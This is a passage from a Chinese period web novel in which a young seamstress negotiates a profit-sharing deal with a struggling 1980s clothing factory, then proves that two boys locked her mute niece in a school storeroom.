“我说表哥,你何必呢?你们厂长整天出差装死,当甩手掌柜,把厂里的事情都丢给你,你那么操心做什么,大不了裁掉一般人好了。” “反正再怎么裁,也裁不到你这个副厂长头上,你照样能拿工资。” 张国强却固执地摇了摇头,眼神坚定。 “倩倩,你爸妈都是干部,从小没过过苦日子,你不懂的,你的阅历还是太少了,这不是钱不钱的问题,而是责任与担当,厂里大几百号员工,背后有好几百个家庭,裁员了,一家老小的日子怎么过,难道都去喝西北风不成?” 说完,他深吸一口气,挺直脊背,十分郑重地给周柒柒鞠了个躬,腰弯得近乎九十度。 “所以,不管怎么样,我还是恳求周同志你,不要这么快拒绝,再多考虑考虑,有什么要求,你都可以提出来,我能做到的,我都会尽力满足你!” 周柒柒赶紧回了个礼,不过眸子一转,却是笑道。 “张大哥,按照你的说法,厂里连普通工人二三十块的基本工资都发不起,却张口给我开一百块?怕不是在给我画大饼吧?吊在驴车前面那种?怎么跑都吃不着!” 说着,她模仿起拉磨的驴,脑袋一伸一缩,模样俏皮可爱。 张国强和邹倩倩先是一愣,而后不约而同地笑出声来,原本紧绷的气氛瞬间消散。 张国强挠着发烫的耳根,从口袋掏出钢笔。 “我现在就写保证书!白纸黑字按手印,违约了随你去派出所告我!” “使不得使不得。” 周柒柒捂嘴轻笑。 “工作的事再说,但我倒想见识见识,能把副厂长逼成这样的厂子,到底什么样?不知道张厂长能不能带我参观一下?” “没问题啊!” 肯去厂子里参观,那就说明还有回旋的余地,张国强怎么可能不答应,立马找了个电话站,给厂子里打了个电话。 没过多久,一辆农用人力三轮车缓缓驶来。 “表哥,你们厂子里不是有大卡车吗?怎么用这种车来接人啊,也太磕碜了。” 邹倩倩皱着眉,满脸嫌弃。 “没办法,油费太贵了。” 张国强苦笑着摇头,随即将身上的西装外套脱下,仔细地铺在车座上,给两个女士垫着,又把“司机师傅”请下车,自己握住脚踏板,弓着背,载着两人朝厂子驶去。 G市第一服装厂位于城东,周围林立着好几个厂子。 曾经,第一服装厂是最风光的,厂门也最为气派。 一个大大的水泥浮雕五角星,顶端镶嵌着五颜六色的玻璃马赛克,下方用宋体写着“第一服装厂”几个大字。 这两年政策变了,厂子里一直亏损,门头也没再修缮,原本鲜红的字体如今已褪成淡红。 可令人意外的是,那玻璃依然透亮如新,可见平常都是有人着意打理的。 张国强带着周柒柒在厂子里四处参观。 周柒柒发现,不仅是玻璃,整个厂子里里外外都整洁得一尘不染,地上看不到一片落叶。 哪怕是因效益问题关停的两个车间,也是纤尘不染,窗明几净。 而还在投入使用的厂房里—— 女工们手里拿着裁片,灵巧的手指在布料上翻飞,干劲十足,眼底满是对这份工作的热忱。 一看就是真心热爱这份工作,和周柒柒一样。 参观完厂房,周柒柒心里已有了盘算,笑意盈盈地问道。 “张厂长,不介意再带我去库房看看吧?” 库房里堆积如山的四季衣裳,确实如张国强所说,都是基础款,而且用料都还不错,做工也算上乘。 但是,八十年代的城里人大都已经摆脱了吃不饱饭的境遇,已经开始追求美了。 衣服这么贵,大多数人一年顶多买一两身,根本就不可能满足于这种简单的基础款。 所以,厂子里的库存积压才会这么严重。 看着周柒柒认认真真地摸着那些衣裳,张国强忍不住开口问道。 “怎么样,周同志,你现在改变主意没有?” 周柒柒坚定地摇了摇头,“没有,打工是不可能打工的。” 在张国强失望的眼神中,她却又眨了眨眼,狡黠一笑。 “不过...” “我愿意以另外一种方式来和你们厂子合作,就是不知道张厂长,有没有这份魄力?” 第69章 崭新的合作方式 “哦?什么方式?周同志但说无妨。” 张国强内心疑惑,不知道周柒柒葫芦里卖的是什么药,但还是态度诚恳地回道。 周柒柒偏了偏头,乌发随动作轻晃。 “换个地方说吧,去张厂长的办公室?” 什么场合说什么事儿,之前在公园只是闲谈,但涉及到真正的商业合作,可就不能那么马马虎虎了。 张国强拍了拍脑门。 “行行行!瞧我这脑子!早该请你去我办公室喝茶的!” 他虽然是个副厂长,但办公室在厂办二楼的角落里,里面没啥装饰,看着简朴得很。 一进屋子,他便忙不迭给周柒柒斟茶,翻了翻柜子却犯了难,他这可没什么像样的茶叶。 他搓着手让周柒柒稍候,转身去了隔壁厂长办公室。 不多时,他抱着一罐茉莉花茶回来,身后隐约传来嘟囔声,像是谁在发牢骚。 周柒柒留心看了一眼,却看到一个女人正拧着眉瞪过来。 那女人穿着一身红裙子,手腕上带着一块崭新的手表,在日光下闪闪发光。 “张厂长,那位是……?” 她指尖轻点茶杯沿,状似随意地问。 “哦,那是吴淑芬,厂长秘书。” 张国强边说边斟茶,沸水冲开茶叶,白雾氤氲中,她眼波微转,似乎在想些什么,不过很快,又将注意力落回生意上,认真说道。 “我瞧着厂里积压的衣裳,料子不错,针线也细致,只需经我手改上一改,保准不愁卖。” 张国强憨笑两声,挠了挠头。 “周同志,你说的全都是我的词儿啊!可您先前不是不愿来厂里上班么?” 周柒柒唇角扬起淡淡笑意。 “我是说不愿来上班,却没说不愿做设计改造……” 张国强一愣。 “周同志的意思是,只出设计图,不来坐班?” 周柒柒轻点下颌。 “没错,你们工厂付设计费给我,我来改那些滞销款式。” 这话叫张国强心头一喜,可想起方才周柒柒对一百五十块都不动声色的模样,又犯了踌躇。 “您说的设计费……怕是不便宜吧?” “那是自然的。” 周柒柒语气笃定,“我看库存约莫有五万件,十几种款式,设计费至少……” 她伸出四根手指。 “四百块?” 张国强抹了把额角的汗。 周柒柒轻笑着摇了摇头。 “不,是四位数...” “而且,至少四位数,多则五位数...” 这话有点吓人,张国强瞪圆了眼,张着嘴半晌说不出话,还是邹倩倩看气氛尴尬,推了推他,他才赶紧回道。 “周同志,这种玩笑可开不得,咱们工厂上个月工资才发了一万多块钱,你这张口就要四位数五位数的,是不是有点太多了...” 他不好意思地搓了搓手。 “再说厂里如今亏得厉害,账上的钱得紧着生产线转,实在拿不出这么多啊!” “而且,我虽然是副厂长,有点批钱的权力,可改完的衣服卖得好不好还不知道,就花了这么一大笔钱出去,也没办法跟大伙儿交代啊。” 周柒柒依旧从容,指尖摩挲着茶杯。 “张副厂长别急,我不是漫天要价的人,肯提合作,也是瞧中您的人品。” “我的意思是,我和厂里联合运营,我出设计图,厂里负责改衣服,前期我不要设计费,等衣裳卖出去,分我一成五的利润,要是卖不动……” 她眼尾微挑,“我赔三成的库存成本。” 周柒柒刚才参观厂房时,就一直在琢磨这事儿。 她从摆摊卖衣服开始,就一直想的是将来要创立自己的品牌 所以让她去低价给别人的厂子设计衣服,她是不愿意的。 但是合作,她倒是不排斥。 思来想去,她想到了这个主意。 “联合运营?这词儿新鲜。” 张国强摩挲着下巴琢磨。 “这想法妙啊!如今上头正搞试点,鼓励咱们中小企业自己说了算,自主经营,您这法子,是想用技术入股?和我们厂子一起经营这批库存货?” 按周柒柒说的,她用技术入股,厂里只需出点改衣服的成本,如果赚钱了,大家一起赚。 就算赔了,厂子里也能回点血。 不管怎么说,都比让两万多件衣服在仓库里烂掉强。 周柒柒不大懂那些政策,只跟着点头:“您说得对,就是这个意思。” 张国强本来挺高兴的,但忽然抬头,目光灼灼,开口问道。 “周同志,这个模式对我们工厂是没什么风险,可是对于你来说,一旦衣服卖得不好,这亏的,至少也是四位数啊,你考虑清楚了,真的愿意担这个风险?” 周柒柒淡然一笑。 “嗯,风险虽然大,但利润也很可观不是吗?” 她对自己有绝对的信心,这买卖只赚不赔,工厂的库存有五万多件,除去成本,她能赚到的,至少也是四位数,而且还不是一两千那种四位数! 要玩,就玩大的!! 张国强这会儿已经激动的不得了了,他因为工厂的事儿,已经连续几个月没睡好觉了,没想到现在一下子就解决了。 而解决问题的,居然是这么一个年轻的小姑娘! 他眼中闪过敬佩的目光,点了点头道。 “行,那就暂时先这么定了,不过这模式太新了,我得报轻工业局批一下。” 张国强顿了顿。 “合同也得仔细拟,这样吧,周同志,您留个联系方式,等手续办妥了,我第一时间找您。” 周柒柒点了点头。 “成。另外,您把那十几种积压的款式各拿一件给我,我回去先合计怎么改。” “这个当然!” 起初,张国强只当周柒柒是个有点手艺的小辈,可越聊越觉她不简单,居然能想出这么厉害的主意! 对她的态度也恭敬了许多。 两人又商量了一些细节,工厂响起了换班的铃声,周柒柒一看时钟,居然已经四点十分了! 她忙不迭起身告辞,张国强忙说要送她。 “行!” 周柒柒瞧着时间紧迫,等公交怕是来不及,周柒柒也不推辞,拎着裙摆坐了上去。 三轮车驶过工厂门口的时候,她想跟邹倩倩告别,往后不经意地一瞥,却在门口的保安室撇见一个熟悉的身影。 那是个年轻男人,皮肤白皙,身材瘦弱,穿着一件白色的确良衬衫,短发被发蜡珉的油光水滑,一双桃花眼微微上挑,眼角蒙着一层雾蒙蒙的水光。 这是——许树???!! 周柒柒心下猛地一跳。 这人不是该在省会城市A市吗? 没了她,他应该开开心心的和林瑶结婚了。 他在A市建筑队当小工,他老婆林瑶在A市军区医院工作。 在G市除了她,就没有认识的人了,怎么会忽然出现在G市? 就在周柒柒大脑胡思乱想的时候,张国强已经带着她飞速蹬着车离开了。 再一回头,保安室里已经没了许树的身影,只有一串火红的身影,好像是之前那个厂长秘书。 也许是她看错了? 周柒柒甩了甩头,将这事抛到脑后。 第70章 舟舟出事了! 路上,周柒柒跟张副厂长说了,赵大姐约了她四点在路口碰头,最晚等到四点半。 张副厂长抬腕看表,这会儿已经四点二十分了,从厂里到路口至少也要三十分钟,到地方是四点五十,估计人都走了。 他提议道。 “这不白跑一趟吗,还耽误事儿,不然我直接拉你回家属院。” 周柒柒摆摆手,眼尾带了几分笃定。 “赵大姐不是那种人,她认死理儿,说是四点半,指不定能等到五点呢。” 听她这么说,张国强踩脚踏板的力道又重了几分。 两人赶到路口时,四点四十刚过。 远远望去,赵大姐果然还守在老地方,蓝布衫被风吹得轻轻晃荡。 周柒柒赶忙迎上去,“赵大姐,等急了吧?” 赵大姐忙不迭摆手。 “没呢没呢!我也刚到一会儿,路上遇着点事儿耽搁了。” 说着便是从竹筐里取出一根冰棍。 “我给你买了奶油冰棍,赶快吃!” 周柒柒抿了抿唇,想说什么又咽回去。 大姐拉车一天未必能够赚到几毛钱,这奶油冰棍的五分钱一根呢。 赵大姐像是看出她的心思,笑得憨厚。 “早上听你说想吃,那会儿没瞅见卖的,刚巧路过看见,就顺道买了。” 话虽没说透,周柒柒却明白,这是早上给大姐带水煎包的回礼。 赵大姐人实诚,别人对她一分好,她恨不得拿十分来还。 冰棍纸刚拆开,甜香混着水汽漫出来,棍尖已经化出个小尖儿。 周柒柒怕辜负大姐心意,赶忙舔了一口,冰凉从舌尖漫开。 另一边,赵大姐早已挽起袖子,帮着张副厂长往驴车上搬蛇皮袋。 张国强方才赶时间骑得狠,这会儿腿肚子还打颤,拎着袋子脚下一滑,整个人朝旁边歪斜。 好巧不巧,脚边正有坨新鲜的狗便便。 赵大姐想提醒,却又怕来不及,又怕把柒柒的蛇皮袋弄脏了,一个箭步冲上前,长臂一伸,竟将张国强连人带袋子抱了起来,“咚”地往驴车上一放。 张副厂长还惊魂未定呢,赶紧拍了拍胸口说了句谢谢。 赵大姐连看都没看他一眼,而是扭头问柒柒走不走。 周柒柒跟张副厂长挥了挥手。 “走走走,赶紧走!” 这会儿都快五点了,估计回到军属区就得六点了。 最近入秋了,她瞅着舟舟皮肤有点干,还准备下午炖点银耳百合莲子羹呢,早上出门的时候就把银耳和莲子都泡起来了,也不知道回去来不来得及煮。 家里也没有高压锅。 赵大姐看她一脸急切的样子,挥起鞭子,驴蹄子踩得石子飞溅。 五点四十不到,驴车已停在军属院门口。 周柒柒冲进厨房时,泡发的银耳还在盆里微微颤动。 她顾不上擦汗,撕碎银耳丢进锅,大火催着水沸,手持木勺不停搅拌,直到琥珀色的胶质翻出泡泡,这才松了口气。 出胶后再煮十几分钟就行了,估摸着六点半能开饭,不算太迟。 下午就她和舟舟两个人吃饭,有了银耳羹,她打算再简单弄个卷饼,煎点午餐肉、生菜什么的一起吃。 刚拿出鸡蛋,正磕着呢,就听到有人在外头哐哐哐地敲门。 “柒柒,回来了吗?快开门!出事了!” 周柒柒隔着几道墙都听出来了,是翠香姐的声音! 出事了? 出什么事了? 她心跳猛地漏了半拍。 攥着鸡蛋的手一紧,蛋液顺着指缝滴在地上,来不及收拾便奔过去开门。 邓翠香一看见她,赶紧说道。 “太好了!你在家!赶快跟我走一趟!舟舟在学校出事了!” 周柒柒一开始是以为沈淮川越野比赛出什么事儿了,完全没往舟舟那边想,听邓翠香这么一说,眼眶一下子就红了,赶紧问道。 “啊?出什么事儿了?” 邓翠香看她眼眶红了,自己也忍不住红了眼睛,忙说道。 “向海传的信儿,说是舟舟和向阳在学校打架了,两人一起被老师罚站呢!让咱们家长过去领人去!” “打架?不可能!舟舟怎么可能打架呢?” 周柒柒下意识反驳,可脚下已经跟着邓翠香往外跑。 腰间的围裙还没解,被邓翠香一把扯掉丢在地上,两人踩着夕阳往学校狂奔,十分钟的路硬是跑出了五分多钟。 周柒柒还从来没去过老师办公室,不知道在哪儿,但是邓翠香可是熟门熟路,直接领着她过去了。 一年级的老师办公室在一排平房的最左边。 一年级办公室在平房最左侧,远远便能看见两个小身影并排立在门口。 舟舟穿着今早新换的白裙子,此刻已成了泥灰色,裙摆沾着草屑和泥点。 原本整齐的双马尾散成乱草,乌黑的发丝间卡着土块,巴掌大的小脸糊着灰,唯有眼睛还亮着,却空茫茫的没什么神采。 周柒柒只觉心口一疼,几步冲过去将小女孩搂进怀里。 先前只觉舟舟瘦,此刻真正抱在臂弯里,才惊觉她骨架小得可怜,脊背硌得掌心发疼,体温也比寻常孩子低些。 她强压下酸涩,半蹲身子掏出手绢,轻轻擦过舟舟的脸颊。 “没事儿吧?” 舟舟原本涣散的目光,听见她发颤的声音才慢慢聚焦,眸中带着几分惶恐,睫毛簌簌直抖,像受了惊的小兽。 “是不是被人欺负了?” 周柒柒轻声问。 舟舟先是摇头,又轻轻点头,指尖攥住她的袖口,力道轻得像片羽毛。 小嘴巴张了张,但是没有开口。 周柒柒有些搞不清楚状况,赶紧把视线投入到另外一边的姜向阳身上。 相比起她的温柔,邓翠香就简单粗暴多了,抬脚踹了姜向阳屁股一脚。 “臭小子,怎么又跟人打架了?给我说清楚!” “我...” 姜向阳这小子平时跟人打架,总觉得自己有理,不管自己对不对,都梗着脖子喊冤。 这回却抿着嘴不说话,脚尖在地上蹭来蹭去。 “完蛋玩意儿!” 邓翠香撇了他一眼,转头看向柒柒。 “没事儿,咱们找老师去,把舟舟弄成这样,今儿一定得替孩子要个说法!” 话音未落,就叫几个老师从办公室走了出来,语气不善道。 “要什么说法?是沈渡舟打了人!你们还想要什么说法??” 第71章 百口莫辩 “舟舟打人?!这这怎么可能?” 周柒柒来家属院已经差不多一个月了,和舟舟也相处了一个月。 她敢拍着胸脯说,舟舟是她上辈子加这辈子见过最懂事的小孩儿。 什么事都不用人操心,干活的时候,也晓得在边上搭把手。 只不过因为心理方面的原因,不说话,喜怒哀乐也都不大表露罢了。 要说这样的孩子会动手打人,她是怎么都不信的。 邓翠香亦是连连点头,瞅着舟舟那怯生生的小摸样,心窝子都揪得生疼。 “可不是嘛!你们当老师的咋能胡乱编排孩子呢?这也太不负责了!” “啥叫不负责?!” 她话音刚落,就听一个熟稔的嗓门从老师后头炸了出来。 不是别人,正是之前和她俩发生过矛盾的李红娟! 她绷着脸,眼尾吊得老高。 “周柒柒,邓翠香,你们俩说的是人话吗?” “你们家里的两个小兔崽子,把我家小雷、小锋打成那样,还好意思指责别人不负责?” 周柒柒心里“咯噔”一下,下意识把舟舟护在身后,张口问道。 “打成什么样儿了?” “小雷、小锋,你俩给我出来!” 李红娟这话刚说完,俩孩子就哭哭啼啼地从老师办公室里挪了出来。 这小哥俩是双胞胎,长得跟一个模子里刻出来似的,方方正正的国字脸随了保卫科科长廖爱民。 这会儿哥俩脸上青一块紫一块的,像是猪头一样,脑门上还各肿起个鸡蛋大的包,身上沾满了泥巴。 哭得那叫一个凄惨。 再瞧瞧这边,向阳顶多就是蹭破了点皮,舟舟虽说身上沾了不少泥点子,可半处伤痕都寻不着。 瞅着自家娃儿遭这罪,李红娟肺都快气炸了,伸着手指头就戳向周柒柒和邓翠香的鼻尖,语气那叫一个难听。 “今儿个说啥都得给我家孩子一个说法!” 周柒柒跟邓翠香对瞅一眼,心里头都有点发虚。 可周柒柒到底沉得住气,深吸了口气,先开了口。 “谁能跟我说一说,这到底是怎么回事?” 人群中走出一个女老师,之前那次下大雨来接舟舟的时候,周柒柒见过,是舟舟的班主任,姓费。 方才李红娟那通骂跟连珠炮似的,费老师压根插不上话,这会儿赶紧挤到前头,把事儿的来龙去脉跟周柒柒、邓翠香说了一遍。 原来今儿放学后,廖小雷跟廖小锋哥俩刚出校门没多会儿,路过个小泥坑时,沈渡舟冷不丁冲出来,一把就将他俩推到了泥坑里,看样子是想动手打人。 可还没等她抬手呢,自个儿也摔进了泥坑,弄得满身满脸都是泥。 就在这时,姜向阳打旁边经过,瞅见这情形,上去就对着廖家哥俩劈头盖脸一顿揍,沈渡舟则在边上抓起泥巴往他俩身上砸。 费老师说话还算公道,叹了口气道。 “那会儿放学才一刻钟,校门口还有好些孩子没走,都在那儿玩耍呢,还有几个来接孩子的家长,都亲眼瞅见了这事儿。” 俩孩子本就被揍得不轻,这会儿被老师这么一提,又“哇”的一声哭开了,眼泪鼻涕糊了一脸,咋哄都止不住。 李红娟瞧着心疼得要命,抡起胳膊就往沈渡舟和姜向阳身上招呼。 “没家教的小兔崽子!敢欺负我家孩子?看我不打死你们!” 她那凶神恶煞的摸样,把俩孩子吓得直往后躲。 周柒柒眼疾手快,赶紧挡在俩孩子跟前,一把攥住李红娟的胳膊,硬碰硬地怼了回去。 “你想干啥?!小孩子家家的事儿还没弄明白呢,你怎么能动手打人?就不能先好好说道说道?” 虽说这个礼拜她脚崴了没去跑步,可沈淮川给她安排了力量训练,每天吃饱喝足后都得举砖头,这会儿胳膊上可有把子力气。 李红娟手腕被攥得生疼,只能不甘心地收回手,可那眼神却更狠了。 “啥叫没弄明白?那么多人都瞅见了,难不成你还想不认账?我家俩孩子好好地走在路上,没招谁没惹谁,就被你家这没家教的小崽子给揍了!” “我告诉你们,今儿个必须给我个说法!” “让沈渡舟和姜向阳现在就给我家孩子低头认错,周一开大会的时候,再当着全校师生的面儿道歉!另外,还得给我家俩孩子各拿三十块钱医药费!” 周柒柒牵着舟舟的手不由得紧了紧,而舟舟手心也沁出了汗。 姜向阳原本还跟个小好汉似的站在邓翠香身边,这会儿也缩到大人屁股后头去了。 这么大的孩子,正是要面子的时候,罚站对他们来说就已经是天大的惩罚了。 这会儿还要当着全校同学的面低头道歉,简直要了他们的命。 再说那钱,在孩子们的认知里,冰棍才两分钱一根,小人书顶多三毛钱一本,“块”这个单位,他们虽说闹不太明白到底是多少,但也晓得那肯定是一笔“巨款”。 “你...” 邓翠香气得直哆嗦,可到底心里头发虚,没敢再多言。 周柒柒却脑子清亮,低头琢磨了片刻,一下子抓住了关键。 “大伙是瞅见舟舟动手了,可她为什么突然打人呢?总不能平白无故就冲上去推你家孩子吧?” 李红娟翻了个大白眼,眼珠子滴溜溜一转,瞅见周柒柒身上的新衣裳,牙都快咬碎了。 “咋不可能?她脑子本就有毛病,话都不会说!我估摸着,准是你在家说了我的坏话,她才替你出头!” 周柒柒听到一半,就赶紧伸手捂住舟舟的耳朵,不让她听这些糟心话。 等李红娟说完,她才低头看向舟舟,半蹲下来,轻声问道。 “你是平白无故打他们的吗?” 舟舟平时永远都是波澜不惊的,这会儿眼眶都红透了,又惊又怕,轻轻摇了摇头。 周柒柒眸子转了转,接着又问。 “是不是他们先欺负你了?” 舟舟点了点头。 见舟舟点头,李红娟顿时急了,扯着嗓子嚷嚷。 “谁看见我儿子欺负她了?她这是撒谎!小小年纪就不学好!” 舟舟难受得要命,张了张嘴,想辩解几句,可啥都没说出来,小脸憋得通红。 周柒柒回头时,眼尖地瞅见李红娟眼神里闪过一丝慌乱。 这事儿事出突然。 从她的反应来看,估计那俩孩子是真的欺负舟舟了。 但是只有他们俩和舟舟知道,没人别的人瞧见。 他俩不说,舟舟又说不出话,这是正儿八经的“百口莫辩”。 所以李红娟才会这么嚣张。 周柒柒嘴角不由得勾起一抹笑,轻轻拍了拍舟舟的肩膀,柔声说。 “不用怕,婶婶信你,婶婶有办法...” 第72章 兵不厌诈 周柒柒带着舟舟到了邓翠香跟前,让她帮忙照看一下舟舟,带着舟舟先去旁边的教室里坐一会儿。 这个李红娟口无遮拦,说出来的话根本入不得小朋友的耳朵。 这边李红娟正扯着嗓门跟几个老师哭诉,唾沫星子溅了半尺远。 “费老师、李主任,你们可得给我家娃做主啊!周柒柒那张嘴跟刀子似的,能把黑的说成白的,臭的说成香的!” 她拍着大腿直晃悠。 “她记恨我,把我推进粪坑也就罢了,咋能算计到孩子头上呢?今儿必须给我个说法!” 她完全不提自己造谣那事儿,只说自己被欺负了,哭哭啼啼的,煽动性极强。 李主任摩挲着茶杯听了半晌,清了清嗓子开口。 “现在情况也算清楚,沈渡舟同学说被欺负,但没证据。可她动手打人,好多人都看着呢,该处罚得处罚,道歉是必须的。” 他这话一落,李红娟立马挺直腰杆,斜睨着周柒柒,嘴角咧得老高。 舟舟的班主任费老师在旁搓了搓手,嘴唇动了好几下,终于咬着牙开口。 “主任,沈渡舟这孩子平时挺乖的,摸底考试还是年级第一......” 话没说完,李红娟就跳起来。 “你这当老师的咋回事?公然偏袒学生?信不信我回头就去军区告你!” 费老师原本缩着的脖子突然梗直了,脸涨得通红。 “你告我,我也这么说!” 两人你一句我一句呛起来,正闹得凶,周柒柒回来了。 她扫了李红娟一眼,不动声色地往费老师跟前一站,把人护在身后。 “别为难老师。” 说完,她目光在廖小雷,廖小锋两个孩子脸上转了一圈,然后转到李红娟脸上,语速不疾不徐。 “你说事实清楚,行,我认,确实有人看见舟舟和向阳动手,你家孩子也伤成这样。” “这样吧,别让孩子们道歉了,我是家长,我替她们道歉,而且不光当着全校师生,还要当着全军属区军嫂的面儿道歉。” 她抬手比划了下。 “咱军属区不是有大喇叭吗?我用大喇叭广播跟你道歉,连着一周,每天晚饭点播,让大伙儿都听见,咋样?” 李红娟眼睛一亮,嘴角都快咧到耳根了。 这一个多礼拜,她掉进粪坑的事儿在军属区都传遍了,那些人没少在背后笑话她。 廖爱民也跟她吵了好几次架,她憋着一股气呢! 要是周柒柒肯在喇叭里道歉,她就能扬眉吐气了! 她忙不迭点头。 “行啊,你肯道歉再好不过了,我本来也不想为难孩子,那你打算...” “等等,”周柒柒抬手打断她,“我还有个条件。” 李红娟警惕地眯起眼,“啥条件?” “一个小条件而已,就一两分钟的事儿。” 周柒柒似笑非笑地看着她,“怎么,不敢应?” 被她这么一激,李红娟眼神闪了闪,“有啥不敢的!我答应了!” 周柒柒老神在在道。 “行,那我就简单问你俩孩子几句话...” 她这话一出,李红娟脸色立马就变了,赶紧摇头道,“不行。” 周柒柒挑了挑眉。 “怎么了?做贼心虚?李主任和费老师可都听见你答应了的。” 两人朝着李红娟看过来,她没法子,硬着头皮说道。 “谁说的?我只是怕孩子被你欺负而已!你先等等!” 说完,她把俩孩子拉到角落,压低声音嘀咕了几句。 周柒柒抱臂站在一旁,似是不在意地盯着操场边的杨树发呆。 等她交代完,才慢慢走到两个孩子面前,蹲下身与他们平视,声音放得轻柔。 “今天下午放学之后,你们是不是欺负沈渡舟了?” 小雷、小锋两个孩子听到这个问题,先是无意识地看了一眼李红娟,然后大一点的小雷抽抽嗒嗒地开口。 “没、没欺负,我们都不认识她,她是一班的,我们是二班的。” 李红娟满意地点了点头,又恢复了刚才的有恃无恐。 周柒柒勾了勾嘴角,语气没变。 “今天中午,你们在家吃了什么好吃的啊?” 小雷抿着嘴不吭声,小锋犹豫了一下回答道。 “西红柿鸡蛋面。” 接下来周柒柒问了几道学习上的问题,一开始只有小锋怯生生地答,直到她提到“谁答得好就给做奶油爆米花”,俩孩子眼睛瞬间亮了。 这两个孩子之前就想吃,但是李红娟拉着不让去,这会儿都一听,都吞了吞口水,争着抢着回答起来。 问到“喜欢吃啥口味冰棍”时,俩孩子正歪着脑袋想呢,周柒柒突然板起脸,声音陡然严厉。 “你们俩欺负她,有人看见了吗?” 她的神情一瞬间就从温和变作了严厉,语调也异常严肃,给人很强的压迫感。 小雷和小锋浑身一哆嗦,异口同声道:“没人看见!” 周柒柒心里一沉,拳头不自觉攥紧,盯着俩孩子追问。 “你们怎么欺负她的?” “我们俩把她带到...” 俩孩子说着说着,被李红娟踹了一脚,“哇”地哭起来,踉跄着往李红娟身后躲。 周柒柒翻了个白眼,回头对教导主任说道。 “李主任,你听到了,这两个孩子承认了自己欺负舟舟了!” 李红娟脸色发白,“你吓唬孩子!小孩子懂啥,乱说的!你有什么证据啊?” “这...” 李主任本来是站在李红娟这一边的,但是刚才亲耳听到两个孩子说“没人看见”,也知道这里面估计是有什么事儿,也有点为难了。 这公说公有理,婆说婆有理,一时陷疆局。 正当这个时候,邓翠香拉着舟舟的手急匆匆的过来了。 “这孩子看见你一个人对这么多人,好像生怕你被人欺负了,一直拉着我要出来,还比比划划的,我看不懂。” 邓翠香看不懂,但周柒柒看了一眼,便是眼前一亮。 “舟舟,你这是想,把事情画出来?” 第73章 左右开弓打巴掌 舟舟乌亮的眼睛扑簌簌眨着,小脑袋轻轻点了点。 周柒柒忙转头冲费老师道:“费老师,能劳您拿纸笔来吗?” “纸笔?画画用的?” 费老师抬眼看她,“我办公桌上就有!” 说着快步转身,从抽屉里取出一张素描纸和一盒崭新的彩色铅笔。 周柒柒目光一滞。 费老师拿出来的,是一盒包装精美的36色彩色铅笔,还是进口货,盒面印着日文与樱花标志。 之前周柒柒给舟舟买美术用品的时候,在百货大楼见过,锁在单独的玻璃柜台里,标着要15块钱,而且还需要外汇券才能买。 不光她愣住,李主任也挑眉看了眼,费老师有点脸红。 “我平时也喜欢画画,那点工资都用来买这些了。” 说着拆开包装,往舟舟怀里一塞,“舟舟,想画啥就画。” 舟舟虽然不懂价格,但一看铅笔这么多颜色,包装还这么好看,知道肯定不便宜,有点紧张地看向周柒柒。 周柒柒安抚地拍了拍她的肩膀。 “没事,你尽管用,你叔叔有钱,用坏了让他赔。” 小姑娘这才放下心来,捏起一支黑色铅笔,蜷在费老师的办公桌前认认真真爱画起来。 她垂眸时睫毛在眼下投出细碎阴影,小脸上的神情专注得惊人,哪还有半分先前唯唯诺诺的“小哑巴”模样,整个人都像被点亮了似的,透着股子灵气。 办公室里的大人们面面相觑,谁也没吭声,连平时最坐不住的姜向阳都瞪圆了眼睛盯着看。 唯有后排的廖小雷、廖小锋兄弟俩鼻尖挂着鼻涕泡,慌里慌张地拽着李红娟的衣角。 “妈、咋办啊?” 李红娟嫌恶地后退半步,瞥了眼舟舟,指甲几乎掐进掌心。 “慌什么?她一个脑子有问题的哑巴,能画出个什么名堂!你们俩给我记牢了,待会儿不管问什么都咬死不认!” 一时间屋内只余笔尖划过画纸的沙沙声。 十分钟后,一幅“画”落在众人眼前。 舟舟哪里学过画画,家里唯有几本简笔画小人书,笔下的线条又乱又杂,满纸都是黑灰交织的色块,像团揉皱的乌云。 所有人凑过去看,都有点看不明白,画里画的究竟是什么,一头雾水。 李主任眉头紧皱。 “看着怪压抑的,压根瞧不出画的啥。” 费老师歪着头,指尖在画纸上方虚点两下,也没说出话。 李红娟见状勾起嘴角,嗓音里带着几分得意。 “早就说了别浪费时间!她连话都不会说,画的东西谁能看懂?分明就是撒谎!” 李主任与费老师对视一眼,皆是无奈。 邓翠香也泄了气,舟舟原本亮晶晶的眼睛渐渐黯淡下去。 “谁说没人懂?我懂!” 周柒柒忽然抬头,眼眶通红。 从舟舟停笔到现在,她一直盯着画纸没说话,嘴唇抿得发白,连李红娟都以为她要认栽了,却不想她突然开口。 邓翠香忙拽她胳膊,“柒柒,快说说,你看出啥了?” 周柒柒将画举到了大家面前,神色沉重。 “舟舟画地,是一个小屋,外面是个人形,里面是三角形的!里面还有树!” “舟舟被他们俩关在里面了!” 李红娟嗓子眼发紧,却硬撑着嗤笑。 “什么乱七八糟的,又人形,又三角形,屋子里还有树,周柒柒,你和小哑巴一样,是不是都神志不清了?说的这都是...” 话音未落,一旁的费老师却忽地睁大眼睛,指了指远处。 “人形,三角形,树...我知道了!是学校操场南边的小仓库!” “走!过去看看!” 邓翠香二话不说拽着众人往操场跑。 那是座雷锋半身像,底座旁辟出一间小库房,藏在操场边的小树林里,平日里鲜少有人光顾。 众人到的时候,学校打扫卫生的黄大爷正在吭哧吭哧地撬锁。 一看到李主任,立马气喘吁吁地抱怨道。 “主任,你来得正好!我得给你报告个事,我这仓库钥匙早丢了,从来都不锁的,结果刚才过来一看,锁上了!” 李主任的表情瞬间沉了下去。 “大爷,你看见是谁了吗?” “瞅见了!” 黄大爷抹了把汗。 “刚放学那会儿,廖科长家那俩小子领着个女娃娃过来!那女娃娃不是摸底考第一的嘛,长得还可好看,姓沈...沈...” “沈渡舟!” 邓翠香忙不迭接话。 “对对对!就是这个名字!” 黄大爷点头如捣蒜。 “可我瞅着他们仨进去,后来却只瞧见俩小子出来,女娃娃影儿都没了...” 小仓库里虽然就放了点扫帚、簸箕什么的,但是黄大爷干活的工具,他看得还是很重的,一瞧着有人靠近,就留心多看了几眼。 吃完饭还不放心,特意跑过来查看。 他边说边终于撬开了锁。 木门吱呀作响地敞开,露出里头逼仄的空间。 墙面与地面果然呈三角状,墙角斜靠着把一人高的扫帚,旁边叠着几张小板凳,正对着一扇开着的窗。 窗框边沿的积灰被蹭得干干净净,显然有人从这儿翻了出去。 怪不得先前见舟舟走路一瘸一拐,周柒柒原以为是打架扭伤,此刻掀开小姑娘的裙摆,才瞧见膝盖上几道结痂的擦伤,混着泥渍嵌在皮肉里。 这才是真正的人证、物证具在,事实清楚。 黄大爷不知道外头发生了什么,是不会说假话的。 